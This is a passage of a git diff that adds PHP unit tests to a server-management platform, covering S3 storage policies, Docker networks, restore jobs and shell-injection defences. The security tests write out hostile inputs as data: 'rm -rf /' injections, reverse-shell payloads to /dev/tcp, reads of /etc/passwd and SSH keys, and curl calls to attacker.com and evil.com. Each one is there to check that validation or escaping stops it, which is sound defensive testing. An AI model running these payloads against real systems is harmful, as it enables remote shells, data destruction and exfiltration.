+ $policy = new S3StoragePolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows team member to validate connection of S3 storage from their team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+ $storage->team_id = 1;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->validateConnection($user, $storage))->toBeTrue();
+});
+
+it('denies team member to validate connection of S3 storage from another team', function () {
+ $teams = collect([
+ (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+ ]);
+
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+ $storage = Mockery::mock(S3Storage::class)->makePartial();
+ $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+ $storage->team_id = 2;
+
+ $policy = new S3StoragePolicy;
+ expect($policy->validateConnection($user, $storage))->toBeFalse();
+});
diff --git a/tests/Unit/PostgresqlInitScriptSecurityTest.php b/tests/Unit/PostgresqlInitScriptSecurityTest.php
new file mode 100644
index 000000000..4f74b13a4
--- /dev/null
+++ b/tests/Unit/PostgresqlInitScriptSecurityTest.php
@@ -0,0 +1,76 @@
+ validateShellSafePath('test$(whoami)', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects command injection with semicolon', function () {
+ expect(fn () => validateShellSafePath('test; rm -rf /', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects command injection with pipe', function () {
+ expect(fn () => validateShellSafePath('test | whoami', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects command injection with backticks', function () {
+ expect(fn () => validateShellSafePath('test`id`', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects command injection with ampersand', function () {
+ expect(fn () => validateShellSafePath('test && whoami', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects command injection with redirect operators', function () {
+ expect(fn () => validateShellSafePath('test > /tmp/evil', 'init script filename'))
+ ->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('test < /etc/passwd', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script rejects reverse shell payload', function () {
+ expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1)', 'init script filename'))
+ ->toThrow(Exception::class);
+});
+
+test('postgresql init script escapes filenames properly', function () {
+ $filename = "init'script.sql";
+ $escaped = escapeshellarg($filename);
+
+ expect($escaped)->toBe("'init'\\''script.sql'");
+});
+
+test('postgresql init script escapes special characters', function () {
+ $filename = 'init script with spaces.sql';
+ $escaped = escapeshellarg($filename);
+
+ expect($escaped)->toBe("'init script with spaces.sql'");
+});
+
+test('postgresql init script accepts legitimate filenames', function () {
+ expect(fn () => validateShellSafePath('init.sql', 'init script filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('01_schema.sql', 'init script filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('init-script.sh', 'init script filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename'))
+ ->not->toThrow(Exception::class);
+});
diff --git a/tests/Unit/Project/Database/ImportCheckFileButtonTest.php b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php
new file mode 100644
index 000000000..a305160c0
--- /dev/null
+++ b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php
@@ -0,0 +1,128 @@
+customLocation = '';
+
+ $mockServer = Mockery::mock(Server::class);
+ $component->server = $mockServer;
+
+ // No server commands should be executed when customLocation is empty
+ $component->checkFile();
+
+ expect($component->filename)->toBeNull();
+});
+
+test('checkFile validates file exists on server when customLocation is filled', function () {
+ $component = new Import;
+ $component->customLocation = '/tmp/backup.sql';
+
+ $mockServer = Mockery::mock(Server::class);
+ $component->server = $mockServer;
+
+ // This test verifies the logic flows when customLocation has a value
+ // The actual remote process execution is tested elsewhere
+ expect($component->customLocation)->toBe('/tmp/backup.sql');
+});
+
+test('customLocation can be cleared to allow uploaded file to be used', function () {
+ $component = new Import;
+ $component->customLocation = '/tmp/backup.sql';
+
+ // Simulate clearing the customLocation (as happens when file is uploaded)
+ $component->customLocation = '';
+
+ expect($component->customLocation)->toBe('');
+});
+
+test('validateBucketName accepts valid bucket names', function () {
+ $component = new Import;
+ $method = new ReflectionMethod($component, 'validateBucketName');
+
+ // Valid bucket names
+ expect($method->invoke($component, 'my-bucket'))->toBeTrue();
+ expect($method->invoke($component, 'my_bucket'))->toBeTrue();
+ expect($method->invoke($component, 'mybucket123'))->toBeTrue();
+ expect($method->invoke($component, 'my.bucket.name'))->toBeTrue();
+ expect($method->invoke($component, 'Bucket-Name_123'))->toBeTrue();
+});
+
+test('validateBucketName rejects invalid bucket names', function () {
+ $component = new Import;
+ $method = new ReflectionMethod($component, 'validateBucketName');
+
+ // Invalid bucket names (command injection attempts)
+ expect($method->invoke($component, 'bucket;rm -rf /'))->toBeFalse();
+ expect($method->invoke($component, 'bucket$(whoami)'))->toBeFalse();
+ expect($method->invoke($component, 'bucket`id`'))->toBeFalse();
+ expect($method->invoke($component, 'bucket|cat /etc/passwd'))->toBeFalse();
+ expect($method->invoke($component, 'bucket&ls'))->toBeFalse();
+ expect($method->invoke($component, "bucket\nid"))->toBeFalse();
+ expect($method->invoke($component, 'bucket name'))->toBeFalse(); // Space not allowed in bucket
+});
+
+test('validateS3Path accepts valid S3 paths', function () {
+ $component = new Import;
+ $method = new ReflectionMethod($component, 'validateS3Path');
+
+ // Valid S3 paths
+ expect($method->invoke($component, 'backup.sql'))->toBeTrue();
+ expect($method->invoke($component, 'folder/backup.sql'))->toBeTrue();
+ expect($method->invoke($component, 'my-folder/my_backup.sql.gz'))->toBeTrue();
+ expect($method->invoke($component, 'path/to/deep/file.tar.gz'))->toBeTrue();
+ expect($method->invoke($component, 'folder with space/file.sql'))->toBeTrue();
+});
+
+test('validateS3Path rejects invalid S3 paths', function () {
+ $component = new Import;
+ $method = new ReflectionMethod($component, 'validateS3Path');
+
+ // Invalid S3 paths (command injection attempts)
+ expect($method->invoke($component, ''))->toBeFalse(); // Empty
+ expect($method->invoke($component, '../etc/passwd'))->toBeFalse(); // Directory traversal
+ expect($method->invoke($component, 'path;rm -rf /'))->toBeFalse();
+ expect($method->invoke($component, 'path$(whoami)'))->toBeFalse();
+ expect($method->invoke($component, 'path`id`'))->toBeFalse();
+ expect($method->invoke($component, 'path|cat /etc/passwd'))->toBeFalse();
+ expect($method->invoke($component, 'path&ls'))->toBeFalse();
+ expect($method->invoke($component, "path\nid"))->toBeFalse();
+ expect($method->invoke($component, "path\r\nid"))->toBeFalse();
+ expect($method->invoke($component, "path\0id"))->toBeFalse(); // Null byte
+ expect($method->invoke($component, "path'injection"))->toBeFalse();
+ expect($method->invoke($component, 'path"injection'))->toBeFalse();
+ expect($method->invoke($component, 'path\\injection'))->toBeFalse();
+});
+
+test('validateServerPath accepts valid server paths', function () {
+ $component = new Import;
+ $method = new ReflectionMethod($component, 'validateServerPath');
+
+ // Valid server paths (must be absolute)
+ expect($method->invoke($component, '/tmp/backup.sql'))->toBeTrue();
+ expect($method->invoke($component, '/var/backups/my-backup.sql'))->toBeTrue();
+ expect($method->invoke($component, '/home/user/data_backup.sql.gz'))->toBeTrue();
+ expect($method->invoke($component, '/path/to/deep/nested/file.tar.gz'))->toBeTrue();
+});
+
+test('validateServerPath rejects invalid server paths', function () {
+ $component = new Import;
+ $method = new ReflectionMethod($component, 'validateServerPath');
+
+ // Invalid server paths
+ expect($method->invoke($component, 'relative/path.sql'))->toBeFalse(); // Not absolute
+ expect($method->invoke($component, '/path/../etc/passwd'))->toBeFalse(); // Directory traversal
+ expect($method->invoke($component, '/path;rm -rf /'))->toBeFalse();
+ expect($method->invoke($component, '/path$(whoami)'))->toBeFalse();
+ expect($method->invoke($component, '/path`id`'))->toBeFalse();
+ expect($method->invoke($component, '/path|cat /etc/passwd'))->toBeFalse();
+ expect($method->invoke($component, '/path&ls'))->toBeFalse();
+ expect($method->invoke($component, "/path\nid"))->toBeFalse();
+ expect($method->invoke($component, "/path\r\nid"))->toBeFalse();
+ expect($method->invoke($component, "/path\0id"))->toBeFalse(); // Null byte
+ expect($method->invoke($component, "/path'injection"))->toBeFalse();
+ expect($method->invoke($component, '/path"injection'))->toBeFalse();
+ expect($method->invoke($component, '/path\\injection'))->toBeFalse();
+});
diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php
new file mode 100644
index 000000000..72c5e4c3a
--- /dev/null
+++ b/tests/Unit/ProxyConfigurationSecurityTest.php
@@ -0,0 +1,83 @@
+ validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+});
+
+test('proxy configuration rejects command injection with semicolon', function () {
+ expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+});
+
+test('proxy configuration rejects command injection with pipe', function () {
+ expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+});
+
+test('proxy configuration rejects command injection with backticks', function () {
+ expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+});
+
+test('proxy configuration rejects command injection with ampersand', function () {
+ expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+});
+
+test('proxy configuration rejects command injection with redirect operators', function () {
+ expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+});
+
+test('proxy configuration rejects reverse shell payload', function () {
+ expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
+ ->toThrow(Exception::class);
+});
+
+test('proxy configuration escapes filenames properly', function () {
+ $filename = "config'test.yaml";
+ $escaped = escapeshellarg($filename);
+
+ expect($escaped)->toBe("'config'\\''test.yaml'");
+});
+
+test('proxy configuration escapes filenames with spaces', function () {
+ $filename = 'my config.yaml';
+ $escaped = escapeshellarg($filename);
+
+ expect($escaped)->toBe("'my config.yaml'");
+});
+
+test('proxy configuration accepts legitimate Traefik filenames', function () {
+ expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
+ ->not->toThrow(Exception::class);
+});
+
+test('proxy configuration accepts legitimate Caddy filenames', function () {
+ expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
+ ->not->toThrow(Exception::class);
+});
diff --git a/tests/Unit/ProxyHelperTest.php b/tests/Unit/ProxyHelperTest.php
index 563d9df1b..3d5da695c 100644
--- a/tests/Unit/ProxyHelperTest.php
+++ b/tests/Unit/ProxyHelperTest.php
@@ -153,3 +153,39 @@
expect($result)->toBeTrue();
});
+
+it('identifies default as predefined network', function () {
+ expect(isDockerPredefinedNetwork('default'))->toBeTrue();
+});
+
+it('identifies host as predefined network', function () {
+ expect(isDockerPredefinedNetwork('host'))->toBeTrue();
+});
+
+it('identifies coolify as not predefined network', function () {
+ expect(isDockerPredefinedNetwork('coolify'))->toBeFalse();
+});
+
+it('identifies coolify-overlay as not predefined network', function () {
+ expect(isDockerPredefinedNetwork('coolify-overlay'))->toBeFalse();
+});
+
+it('identifies custom networks as not predefined', function () {
+ $customNetworks = ['my-network', 'app-network', 'custom-123'];
+
+ foreach ($customNetworks as $network) {
+ expect(isDockerPredefinedNetwork($network))->toBeFalse();
+ }
+});
+
+it('identifies bridge as not predefined (per codebase pattern)', function () {
+ // 'bridge' is technically a Docker predefined network, but existing codebase
+ // only filters 'default' and 'host', so we maintain consistency
+ expect(isDockerPredefinedNetwork('bridge'))->toBeFalse();
+});
+
+it('identifies none as not predefined (per codebase pattern)', function () {
+ // 'none' is technically a Docker predefined network, but existing codebase
+ // only filters 'default' and 'host', so we maintain consistency
+ expect(isDockerPredefinedNetwork('none'))->toBeFalse();
+});
diff --git a/tests/Unit/RestoreJobFinishedNullServerTest.php b/tests/Unit/RestoreJobFinishedNullServerTest.php
new file mode 100644
index 000000000..d3dfb2f9a
--- /dev/null
+++ b/tests/Unit/RestoreJobFinishedNullServerTest.php
@@ -0,0 +1,93 @@
+shouldReceive('find')
+ ->with(999)
+ ->andReturn(null);
+
+ $data = [
+ 'scriptPath' => '/tmp/script.sh',
+ 'tmpPath' => '/tmp/backup.sql',
+ 'container' => 'test-container',
+ 'serverId' => 999,
+ ];
+
+ // Should not throw an error when server is null
+ expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+ });
+
+ it('handles null server gracefully in S3RestoreJobFinished event', function () {
+ // Mock Server::find to return null (server was deleted)
+ $mockServer = Mockery::mock('alias:'.Server::class);
+ $mockServer->shouldReceive('find')
+ ->with(999)
+ ->andReturn(null);
+
+ $data = [
+ 'containerName' => 'helper-container',
+ 'serverTmpPath' => '/tmp/downloaded.sql',
+ 'scriptPath' => '/tmp/script.sh',
+ 'containerTmpPath' => '/tmp/container-file.sql',
+ 'container' => 'test-container',
+ 'serverId' => 999,
+ ];
+
+ // Should not throw an error when server is null
+ expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+ });
+
+ it('handles empty serverId in RestoreJobFinished event', function () {
+ $data = [
+ 'scriptPath' => '/tmp/script.sh',
+ 'tmpPath' => '/tmp/backup.sql',
+ 'container' => 'test-container',
+ 'serverId' => null,
+ ];
+
+ // Should not throw an error when serverId is null
+ expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+ });
+
+ it('handles empty serverId in S3RestoreJobFinished event', function () {
+ $data = [
+ 'containerName' => 'helper-container',
+ 'serverTmpPath' => '/tmp/downloaded.sql',
+ 'scriptPath' => '/tmp/script.sh',
+ 'containerTmpPath' => '/tmp/container-file.sql',
+ 'container' => 'test-container',
+ 'serverId' => null,
+ ];
+
+ // Should not throw an error when serverId is null
+ expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+ });
+
+ it('handles missing data gracefully in RestoreJobFinished', function () {
+ $data = [];
+
+ // Should not throw an error when data is empty
+ expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+ });
+
+ it('handles missing data gracefully in S3RestoreJobFinished', function () {
+ $data = [];
+
+ // Should not throw an error when data is empty
+ expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+ });
+});
diff --git a/tests/Unit/RestoreJobFinishedSecurityTest.php b/tests/Unit/RestoreJobFinishedSecurityTest.php
new file mode 100644
index 000000000..0f3dca08c
--- /dev/null
+++ b/tests/Unit/RestoreJobFinishedSecurityTest.php
@@ -0,0 +1,61 @@
+toBeTrue();
+ }
+ });
+
+ it('validates that malicious paths fail validation', function () {
+ $maliciousPaths = [
+ '/tmp/../etc/passwd',
+ '/tmp/foo/../../etc/shadow',
+ '/etc/sensitive-file',
+ '/var/www/config.php',
+ '/tmp/../../../root/.ssh/id_rsa',
+ ];
+
+ foreach ($maliciousPaths as $path) {
+ expect(isSafeTmpPath($path))->toBeFalse();
+ }
+ });
+
+ it('rejects URL-encoded path traversal attempts', function () {
+ $encodedTraversalPaths = [
+ '/tmp/%2e%2e/etc/passwd',
+ '/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
+ urlencode('/tmp/../etc/passwd'),
+ ];
+
+ foreach ($encodedTraversalPaths as $path) {
+ expect(isSafeTmpPath($path))->toBeFalse();
+ }
+ });
+
+ it('handles edge cases correctly', function () {
+ // Too short
+ expect(isSafeTmpPath('/tmp'))->toBeFalse();
+ expect(isSafeTmpPath('/tmp/'))->toBeFalse();
+
+ // Null/empty
+ expect(isSafeTmpPath(null))->toBeFalse();
+ expect(isSafeTmpPath(''))->toBeFalse();
+
+ // Null byte injection
+ expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
+
+ // Valid edge cases
+ expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
+ expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
+ });
+});
diff --git a/tests/Unit/RestoreJobFinishedShellEscapingTest.php b/tests/Unit/RestoreJobFinishedShellEscapingTest.php
new file mode 100644
index 000000000..e45ec966b
--- /dev/null
+++ b/tests/Unit/RestoreJobFinishedShellEscapingTest.php
@@ -0,0 +1,118 @@
+toBeTrue();
+
+ // But when escaped, the shell metacharacters become literal strings
+ $escaped = escapeshellarg($maliciousPath);
+
+ // The escaped version wraps in single quotes and escapes internal single quotes
+ expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
+
+ // Building a command with escaped path is safe
+ $command = "rm -f {$escaped}";
+
+ // The command contains the quoted path, not an unquoted injection
+ expect($command)->toStartWith("rm -f '");
+ expect($command)->toEndWith("'");
+ });
+
+ it('escapes paths with semicolon injection attempts', function () {
+ $path = '/tmp/backup; rm -rf /; echo';
+ expect(isSafeTmpPath($path))->toBeTrue();
+
+ $escaped = escapeshellarg($path);
+ expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
+
+ // The semicolons are inside quotes, so they're treated as literals
+ $command = "rm -f {$escaped}";
+ expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
+ });
+
+ it('escapes paths with backtick command substitution attempts', function () {
+ $path = '/tmp/backup`whoami`.sql';
+ expect(isSafeTmpPath($path))->toBeTrue();
+
+ $escaped = escapeshellarg($path);
+ expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
+
+ // Backticks inside single quotes are not executed
+ $command = "rm -f {$escaped}";
+ expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
+ });
+
+ it('escapes paths with $() command substitution attempts', function () {
+ $path = '/tmp/backup$(id).sql';
+ expect(isSafeTmpPath($path))->toBeTrue();
+
+ $escaped = escapeshellarg($path);
+ expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
+
+ // $() inside single quotes is not executed
+ $command = "rm -f {$escaped}";
+ expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
+ });
+
+ it('escapes paths with pipe injection attempts', function () {
+ $path = '/tmp/backup | cat /etc/passwd';
+ expect(isSafeTmpPath($path))->toBeTrue();
+
+ $escaped = escapeshellarg($path);
+ expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
+
+ // Pipe inside single quotes is treated as literal
+ $command = "rm -f {$escaped}";
+ expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
+ });
+
+ it('escapes paths with newline injection attempts', function () {
+ $path = "/tmp/backup\nwhoami";
+ expect(isSafeTmpPath($path))->toBeTrue();
+
+ $escaped = escapeshellarg($path);
+ // Newline is preserved inside single quotes
+ expect($escaped)->toContain("\n");
+ expect($escaped)->toStartWith("'");
+ expect($escaped)->toEndWith("'");
+ });
+
+ it('handles normal paths without issues', function () {
+ $normalPaths = [
+ '/tmp/restore-backup.sql',
+ '/tmp/restore-script.sh',
+ '/tmp/database-dump-abc123.sql',
+ '/tmp/deeply/nested/path/to/file.sql',
+ ];
+
+ foreach ($normalPaths as $path) {
+ expect(isSafeTmpPath($path))->toBeTrue();
+
+ $escaped = escapeshellarg($path);
+ // Normal paths are just wrapped in single quotes
+ expect($escaped)->toBe("'{$path}'");
+ }
+ });
+
+ it('escapes container names with injection attempts', function () {
+ // Container names are not validated by isSafeTmpPath, so escaping is critical
+ $maliciousContainer = 'container"; rm -rf /; echo "pwned';
+ $escaped = escapeshellarg($maliciousContainer);
+
+ expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
+
+ // Building a docker command with escaped container is safe
+ $command = "docker rm -f {$escaped}";
+ expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
+ });
+});
diff --git a/tests/Unit/S3RestoreSecurityTest.php b/tests/Unit/S3RestoreSecurityTest.php
new file mode 100644
index 000000000..c224ec48c
--- /dev/null
+++ b/tests/Unit/S3RestoreSecurityTest.php
@@ -0,0 +1,98 @@
+toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
+
+ // When used in a command, the shell metacharacters should be treated as literal strings
+ $command = "echo {$escapedSecret}";
+ // The dangerous part (";curl) is now safely inside single quotes
+ expect($command)->toContain("'secret"); // Properly quoted
+ expect($escapedSecret)->toStartWith("'"); // Starts with quote
+ expect($escapedSecret)->toEndWith("'"); // Ends with quote
+
+ // Test case 2: Endpoint with command injection
+ $maliciousEndpoint = 'https://s3.example.com";whoami;"';
+ $escapedEndpoint = escapeshellarg($maliciousEndpoint);
+
+ expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
+
+ // Test case 3: Key with destructive command
+ $maliciousKey = 'access-key";rm -rf /;echo "';
+ $escapedKey = escapeshellarg($maliciousKey);
+
+ expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
+
+ // Test case 4: Normal credentials should work fine
+ $normalSecret = 'MySecretKey123';
+ $normalEndpoint = 'https://s3.amazonaws.com';
+ $normalKey = 'AKIAIOSFODNN7EXAMPLE';
+
+ expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
+ expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
+ expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
+});
+
+it('verifies command injection is prevented in mc alias set command format', function () {
+ // Simulate the exact scenario from Import.php:407-410
+ $containerName = 's3-restore-test-uuid';
+ $endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
+ $key = 'AKIATEST";whoami;"';
+ $secret = 'SecretKey";rm -rf /tmp;echo "';
+
+ // Before fix (vulnerable):
+ // $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
+ // This would allow command injection because $endpoint and $key are not quoted,
+ // and $secret's double quotes can be escaped
+
+ // After fix (secure):
+ $escapedEndpoint = escapeshellarg($endpoint);
+ $escapedKey = escapeshellarg($key);
+ $escapedSecret = escapeshellarg($secret);
+ $secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
+
+ // Verify the secure command has properly escaped values
+ expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
+ expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
+ expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
+
+ // Verify that the command injection attempts are neutered (they're literal strings now)
+ // The values are wrapped in single quotes, so shell metacharacters are treated as literals
+ // Check that all three parameters are properly quoted
+ expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
+
+ // Verify the dangerous parts are inside quotes (between the quote marks)
+ // The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
+ expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
+
+ // Ensure we're NOT using the old vulnerable pattern with unquoted values
+ $vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
+ expect($secureCommand)->not->toContain($vulnerablePattern);
+});
+
+it('handles S3 secrets with single quotes correctly', function () {
+ // Test edge case: secret containing single quotes
+ // escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
+ $secretWithQuote = "my'secret'key";
+ $escaped = escapeshellarg($secretWithQuote);
+
+ // The expected output format is: 'my'\''secret'\''key'
+ // This is how escapeshellarg handles single quotes in the input
+ expect($escaped)->toBe("'my'\\''secret'\\''key'");
+
+ // Verify it would work in a command context
+ $containerName = 's3-restore-test';
+ $endpoint = escapeshellarg('https://s3.amazonaws.com');
+ $key = escapeshellarg('AKIATEST');
+ $command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
+
+ // The command should contain the properly escaped secret
+ expect($command)->toContain("'my'\\''secret'\\''key'");
+});
diff --git a/tests/Unit/S3RestoreTest.php b/tests/Unit/S3RestoreTest.php
new file mode 100644
index 000000000..fffb79794
--- /dev/null
+++ b/tests/Unit/S3RestoreTest.php
@@ -0,0 +1,75 @@
+toBe('backups/database.gz');
+
+ // Test path without leading slash remains unchanged
+ $path2 = 'backups/database.gz';
+ $cleanPath2 = ltrim($path2, '/');
+
+ expect($cleanPath2)->toBe('backups/database.gz');
+});
+
+test('S3 container name is generated correctly', function () {
+ $resourceUuid = 'test-database-uuid';
+ $containerName = "s3-restore-{$resourceUuid}";
+
+ expect($containerName)->toBe('s3-restore-test-database-uuid');
+ expect($containerName)->toStartWith('s3-restore-');
+});
+
+test('S3 download directory is created correctly', function () {
+ $resourceUuid = 'test-database-uuid';
+ $downloadDir = "/tmp/s3-restore-{$resourceUuid}";
+
+ expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid');
+ expect($downloadDir)->toStartWith('/tmp/s3-restore-');
+});
+
+test('cancelS3Download cleans up correctly', function () {
+ // Test that cleanup directory path is correct
+ $resourceUuid = 'test-database-uuid';
+ $downloadDir = "/tmp/s3-restore-{$resourceUuid}";
+ $containerName = "s3-restore-{$resourceUuid}";
+
+ expect($downloadDir)->toContain($resourceUuid);
+ expect($containerName)->toContain($resourceUuid);
+});
+
+test('S3 file path formats are handled correctly', function () {
+ $paths = [
+ '/backups/db.gz',
+ 'backups/db.gz',
+ '/nested/path/to/backup.sql.gz',
+ 'backup-2025-01-15.gz',
+ ];
+
+ foreach ($paths as $path) {
+ $cleanPath = ltrim($path, '/');
+ expect($cleanPath)->not->toStartWith('/');
+ }
+});
+
+test('formatBytes helper formats file sizes correctly', function () {
+ // Test various file sizes
+ expect(formatBytes(0))->toBe('0 B');
+ expect(formatBytes(null))->toBe('0 B');
+ expect(formatBytes(1024))->toBe('1 KB');
+ expect(formatBytes(1048576))->toBe('1 MB');
+ expect(formatBytes(1073741824))->toBe('1 GB');
+ expect(formatBytes(1099511627776))->toBe('1 TB');
+
+ // Test with different sizes
+ expect(formatBytes(512))->toBe('512 B');
+ expect(formatBytes(2048))->toBe('2 KB');
+ expect(formatBytes(5242880))->toBe('5 MB');
+ expect(formatBytes(10737418240))->toBe('10 GB');
+
+ // Test precision
+ expect(formatBytes(1536, 2))->toBe('1.5 KB');
+ expect(formatBytes(1572864, 1))->toBe('1.5 MB');
+});
diff --git a/tests/Unit/S3StorageTest.php b/tests/Unit/S3StorageTest.php
new file mode 100644
index 000000000..6709f381d
--- /dev/null
+++ b/tests/Unit/S3StorageTest.php
@@ -0,0 +1,53 @@
+getCasts();
+
+ expect($casts['is_usable'])->toBe('boolean');
+ expect($casts['key'])->toBe('encrypted');
+ expect($casts['secret'])->toBe('encrypted');
+});
+
+test('S3Storage isUsable method returns is_usable attribute value', function () {
+ $s3Storage = new S3Storage;
+
+ // Set the attribute directly to avoid encryption
+ $s3Storage->setRawAttributes(['is_usable' => true]);
+ expect($s3Storage->isUsable())->toBeTrue();
+
+ $s3Storage->setRawAttributes(['is_usable' => false]);
+ expect($s3Storage->isUsable())->toBeFalse();
+
+ $s3Storage->setRawAttributes(['is_usable' => null]);
+ expect($s3Storage->isUsable())->toBeNull();
+});
+
+test('S3Storage awsUrl method constructs correct URL format', function () {
+ $s3Storage = new S3Storage;
+
+ // Set attributes without triggering encryption
+ $s3Storage->setRawAttributes([
+ 'endpoint' => 'https://s3.amazonaws.com',
+ 'bucket' => 'test-bucket',
+ ]);
+
+ expect($s3Storage->awsUrl())->toBe('https://s3.amazonaws.com/test-bucket');
+
+ // Test with custom endpoint
+ $s3Storage->setRawAttributes([
+ 'endpoint' => 'https://minio.example.com:9000',
+ 'bucket' => 'backups',
+ ]);
+
+ expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
+});
+
+test('S3Storage model is guarded correctly', function () {
+ $s3Storage = new S3Storage;
+
+ // The model should have $guarded = [] which means everything is fillable
+ expect($s3Storage->getGuarded())->toBe([]);
+});
diff --git a/tests/Unit/ServiceApplicationPrerequisitesTest.php b/tests/Unit/ServiceApplicationPrerequisitesTest.php
new file mode 100644
index 000000000..19b1c5c8c
--- /dev/null
+++ b/tests/Unit/ServiceApplicationPrerequisitesTest.php
@@ -0,0 +1,149 @@
+andReturn(null);
+});
+
+it('applies beszel gzip prerequisite correctly', function () {
+ // Create a simple object to track the property change
+ $application = new class
+ {
+ public $is_gzip_enabled = true;
+
+ public function save() {}
+ };
+
+ $query = Mockery::mock();
+ $query->shouldReceive('whereName')
+ ->with('beszel')
+ ->once()
+ ->andReturnSelf();
+ $query->shouldReceive('first')
+ ->once()
+ ->andReturn($application);
+
+ $service = Mockery::mock(Service::class)->makePartial();
+ $service->name = 'beszel-clx1ab2cd3ef4g5hi6jk7l8m9n0o1p2q3'; // CUID2 format
+ $service->id = 1;
+ $service->shouldReceive('applications')
+ ->once()
+ ->andReturn($query);
+
+ applyServiceApplicationPrerequisites($service);
+
+ expect($application->is_gzip_enabled)->toBeFalse();
+});
+
+it('applies appwrite stripprefix prerequisite correctly', function () {
+ $applications = [];
+
